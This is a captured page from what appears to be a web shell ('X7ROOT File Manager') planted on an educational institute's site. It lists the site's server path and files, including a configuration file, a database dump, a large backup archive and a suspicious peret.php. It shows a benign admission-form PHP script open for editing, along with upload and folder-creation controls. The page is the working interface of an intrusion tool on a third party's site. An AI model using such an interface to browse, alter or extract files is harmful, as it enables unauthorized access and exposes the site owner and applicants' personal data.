X7ROOT File Manager
Current Path:
/home/u126090504/domains/kiitacademy.in/public_html
home
/
u126090504
/
domains
/
kiitacademy.in
/
public_html
/
📄
+2-Arts&Commerce.php
(6.81 KB)
📁
..
📄
.htaccess
(1.12 KB)
📄
about-us.php
(9.37 KB)
📄
achievers.php
(3.36 KB)
📁
admin
📄
admission.php
(4.92 KB)
📄
admission_submit.php
(1.48 KB)
📄
album.php
(890 B)
📄
cleanup_README.txt
(1.25 KB)
📄
computer-courses.php
(22.83 KB)
📄
config.php
(1.21 KB)
📄
contact-us.php
(8.19 KB)
📄
contactdb.php
(796 B)
📁
css
📄
director's-message.php
(4.53 KB)
📄
downloads.php
(3.14 KB)
📄
error.log
(13.82 KB)
📄
facilities.php
(13.29 KB)
📄
faculty.php
(3.56 KB)
📁
fonts
📄
footer.php
(5.7 KB)
📄
franchise.php
(2.09 KB)
📄
gallery.php
(3.32 KB)
📄
header.php
(11.92 KB)
📁
images
📄
index.php
(39.44 KB)
📁
js
📁
kiit
📄
kiit-backup.zip
(85.95 MB)
📁
lib
📄
media.php
(2.76 KB)
📄
payment.php
(8.88 KB)
📄
payment_submit.php
(10.97 KB)
📄
payment_verify.php
(2.31 KB)
📄
peret.php
(266.87 KB)
📁
qrcodes
📁
revolution
📄
search_videos.php
(1.76 KB)
📄
secure_upload.php
(2.87 KB)
📄
showpath.php
(107 B)
📄
u721653068_kiitinst25.sql
(17.4 KB)
📁
uploads
📄
videos.php
(4.38 KB)
Editing: admission_submit.php
<?php require_once 'config.php'; // DB connection if ($_SERVER['REQUEST_METHOD'] === 'POST') { $name = trim($_POST['name']); $father = trim($_POST['father_name']); $phone = trim($_POST['phone']); $email = trim($_POST['email']); $dob = $_POST['dob']; $address = trim($_POST['address']); $school = trim($_POST['school']); $course = $_POST['course']; $message = trim($_POST['message']); // ✅ Validation if (!preg_match("/^[0-9]{10}$/", $phone)) { die("❌ Invalid Mobile Number"); } if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { die("❌ Invalid Email Address"); } // ✅ Save to DB $stmt = $conn->prepare("INSERT INTO admissions (name, father_name, phone, email, dob, address, school, course, message) VALUES (?,?,?,?,?,?,?,?,?)"); $stmt->bind_param("sssssssss", $name, $father, $phone, $email, $dob, $address, $school, $course, $message); if ($stmt->execute()) { // ✅ Show Thank You message then redirect echo " <script> alert('✅ Thank you for submitting your admission form! We will contact you soon.'); window.location.href = 'index.php'; </script>"; } else { echo " <script> alert('❌ Something went wrong. Please try again.'); window.location.href = 'index.php'; </script>"; } } ?>
Upload File
Create Folder